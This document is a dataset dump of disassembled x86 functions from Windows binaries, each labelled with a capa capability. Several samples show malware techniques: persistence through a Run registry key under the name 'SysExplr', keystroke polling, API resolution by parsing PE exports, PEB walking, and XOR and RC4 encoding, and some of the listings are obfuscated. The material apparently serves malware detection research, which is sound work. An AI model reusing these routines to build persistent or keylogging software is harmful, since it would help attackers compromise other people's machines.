joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5df10e10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x5df10e26
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x5df10e37
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.5df10e78
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x5df131e4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x5df1312d
add ebx, 0
push ecx
call 0x5df13142
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x71589067
sub ebx, dword [0x715a88a6]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x715a8896
call fcn.5df0ec0c
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.5df0e11a
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x5df132a0
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x5df132a0
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x5df13257
mov eax, 1
lock xchg dword [0x715a88a2], eax
push 0x3dd1fc71
call 0x5df131e4
push esi
add esp, 8
cmp eax, 0
jne 0x5df131cd
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x5df131f3
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x5df13208
cmp ecx, edx
cmp eax, 0
je 0x5df1322d
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x5df13217
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.5df13246
dec eax
loope 0x5df13249
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x715a88a2], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x5df1327d
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x5df13292
jmp 0x5df1329d
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x5df1318b
Function at 0x5df1a305
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x5df1a5db
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x7159551a
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x7158c4e0
push 0xffffffffffffffff
call fcn.5df11505
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x5df1a36f
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.5df1a387
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x5df1a5cf
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x5df1a5a3
Function at 0x5df29dd5
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x5df29df7
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x5df29df7
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x5df29df7
ret
cmp word [ebx + 4], 0x14c
jne 0x5df29df7
test word [ebx + 0x16], 2
je 0x5df29df7
test word [ebx + 0x16], 0x100
je 0x5df29df7
cmp word [ebx + 0x18], 0x10b
jne 0x5df29df7
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x5df29df7
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x5df29e83
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x5df29e17
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.5df10d62
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x5df29df7
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x5df29e83
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x5df29df7
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x5df29df7
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x5df29df7
ret
cmp word [ebx + 4], 0x14c
jne 0x5df29df7
test word [ebx + 0x16], 2
je 0x5df29df7
test word [ebx + 0x16], 0x100
je 0x5df29df7
cmp word [ebx + 0x18], 0x10b
jne 0x5df29df7
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x5df29df7
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x5df29e83
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x5df29e17
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.5df10d62
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x5df29df7
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x5df29f3a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x5df29f93
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x5df29f3a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x5df29f49
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x5e32fbec
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x5df29f9a
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.5df10e10
cmp eax, dword [ebp + 0xc]
pop eax
je 0x5df2a039
add edi, 4
add eax, 2
dec ecx
jne 0x5df29f7f
call 0x5df29fe6
loope 0x5df29fdc
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x5df2a036
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x5df2a047
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x5df29ffa
cmp eax, ecx
ja 0x5df29ffa
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x5df2a084
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x5df2a07a
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.5df112ef
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x5df29f49
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x5df29f93
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x5df29f3a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x5df29f49
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x5e32fbec
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x5df29f9a
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.5df10e10
cmp eax, dword [ebp + 0xc]
pop eax
je 0x5df2a039
add edi, 4
add eax, 2
dec ecx
jne 0x5df29f7f
call 0x5df29fe6
loope 0x5df29fdc
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x5df2a036
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x5df2a047
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x5df29ffa
cmp eax, ecx
ja 0x5df29ffa
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x5df2a084
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x5df2a07a
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.5df112ef
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x404bb0
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0xc
lea eax, [esp]
push esi
push eax
push 0x2001f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_Ordinal_239]
test eax, eax
je 0x404bed
lea eax, [esp + 4]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_Ordinal_219]
test eax, eax
jne 0x404c3b
lea eax, [esp + 0xc]
lea ecx, [esp + 8]
mov edx, dword [esp + 4]
push eax
push 0
push ecx
push 0
push str.SysExplr
push edx
call dword [sym.imp.ADVAPI32.dll_Ordinal_247]
test eax, eax
je 0x404c30
mov esi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
push eax
push esi
mov eax, dword [esp + 0xc]
push 1
push 0
push str.SysExplr
push eax
call dword [sym.imp.ADVAPI32.dll_Ordinal_259]
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_Ordinal_216]
pop esi
add esp, 0xc
ret

Function at 0x404c40
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 4
lea eax, [esp]
push eax
push 0x2001f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_Ordinal_239]
test eax, eax
jne 0x404c7e
mov eax, dword [esp]
push str.SysExplr
push eax
call dword [sym.imp.ADVAPI32.dll_Ordinal_225]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_Ordinal_216]
add esp, 4
ret
Function at 0x42d3ac
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push ebx
xor eax, eax
mov ebx, dword fs:[0x18]
mov ecx, dword fs:[0x30]
test ecx, ecx
jns 0x42d3e4
mov ecx, 0x530000
cmp dword [ebx + 0x58], ecx
jne 0x42d3d2
mov al, 1
jmp 0x42d42e
cmp dword [ebx + 0x54], ecx
jne 0x42d3db
mov al, 2
jmp 0x42d42e
cmp dword [ebx + 0x7c], ecx
jne 0x42d42e
mov al, 3
jmp 0x42d42e
mov ebx, dword [ecx + 0xa8]
mov ecx, dword [ecx + 0xa4]
cmp ecx, 4
ja 0x42d3f9
mov al, 4
jmp 0x42d42e
cmp ecx, 5
jne 0x42d419
cmp ebx, 0
jne 0x42d407
mov al, 5
jmp 0x42d42e
cmp ebx, 1
jne 0x42d410
mov al, 6
jmp 0x42d42e
cmp ebx, 2
jne 0x42d419
mov al, 7
jmp 0x42d42e
cmp ecx, 6
jne 0x42d425
cmp ebx, 0
jne 0x42d427
mov al, 8
jmp 0x42d42e
cmp ebx, 1
jne 0x42d42e
mov al, 9
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x451a00
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4daeab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004cd0a2
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x451a82
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004ca91d
mov eax, dword [eax]
push 0x5a7cfc
push eax
call fcn.004bbda4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004cd32d
test bl, bl
je 0x451a82
push 0x5a7cfc
lea ecx, [esp + 0xc]
call fcn.004cd709
push 0x5a7d08
lea ecx, [esp + 0xc]
call fcn.004cd709
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x451abe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004cd32d
jmp 0x451b89
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x451b42
lea edx, [esp + 0x7c]
push 0x5a7d04
push edx
call fcn.004bbda4
add esp, 8
test eax, eax
je 0x451b42
lea eax, [esp + 0x7c]
push 0x5a7d00
push eax
call fcn.004bbda4
add esp, 8
test eax, eax
je 0x451b42
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x451ad2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004cd32d
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x452e10
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x452e72
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x452e80
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4db00b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5b2b64]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x452fb8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x452ee6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004cd32d
xor eax, eax
jmp 0x45302f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004cd4b6
push esi
lea ecx, [esp + 0xc]
call fcn.004cd745
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x45300d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SQLAllocEnv
call fcn.00452e10
test eax, eax
jne 0x45300d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SQLAllocEnv
mov ecx, edi
call fcn.00452e10
test eax, eax
jne 0x45300d
lea eax, [esp + 0x14]
push 0x5a7d18
push eax
call fcn.004bd0d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x452fec
lea ecx, [esp + 0x14]
push 0x5a7d14
push ecx
call fcn.004bd050
mov esi, eax
add esp, 8
test esi, esi
jne 0x452fec
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x452fef
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004cd466
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x452efe
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004cd32d
xor eax, eax
jmp 0x45302f
mov byte [esi], 0
push 0x5a7d10
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004cd32d
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4682b0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x46831e
cmp si, 0x69
ja 0x46831e
add esi, 0xffd0
cmp si, 0x11
je 0x4682ee
push 0x11
call edi
test ax, ax
jge 0x4682ee
or esi, 0x2000
cmp si, 0x10
je 0x468303
push 0x10
call edi
test ax, ax
jge 0x468303
or esi, 0x4000
cmp si, 0x12
je 0x468318
push 0x12
call edi
test ax, ax
jge 0x468318
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x46832b
mov esi, 0xbd
jmp 0x4682df
cmp si, 0x6e
jne 0x468338
mov esi, 0xbe
jmp 0x4682df
cmp si, 0x6f
jne 0x4682d9
mov esi, 0xbf
jmp 0x4682df

Function at 0x469e30
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5c3df8]
xor edx, edx
cmp eax, edx
jne 0x469e56
xor eax, eax
mov byte [eax + 0x5c3cf8], al
inc eax
cmp eax, 0x100
jl 0x469e3e
mov dword [0x5c3df8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5c3cf8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x469ee7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x469eba
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x469e88
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x469f60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x469fb3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x469f9a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x46d5d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4dc938
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x20]
call fcn.004d3f23
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0xc]
push eax
push ecx
mov dword [esp + 0x40], 0
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub eax, esi
sub ecx, edx
mov edx, dword [esp + 0x4c]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 4], ecx
mov ecx, dword [esp + 0x44]
push edx
push eax
lea edx, [esp + 0xc]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
call fcn.0046d4a0
add esp, 0x14
lea ecx, [esp + 0x1c]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.004d3f95
mov ecx, dword [esp + 0x30]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret
Function at 0x470ef0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x471088
cmp ebp, ebx
jle 0x471088
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x470f4e
dec eax
or eax, 0xfffffff8
inc eax
je 0x470f55
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.ODBC32.dll_SQLAllocConnect
jns 0x470f64
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x470f6b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004cd06e
add esp, 4
cmp eax, ebx
je 0x470f8c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004cd06e
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x47107e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x471065
mov al, byte [edx]
cmp al, 0xc0
jbe 0x471051
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x471046
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x471054
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x471054
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x470ff0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
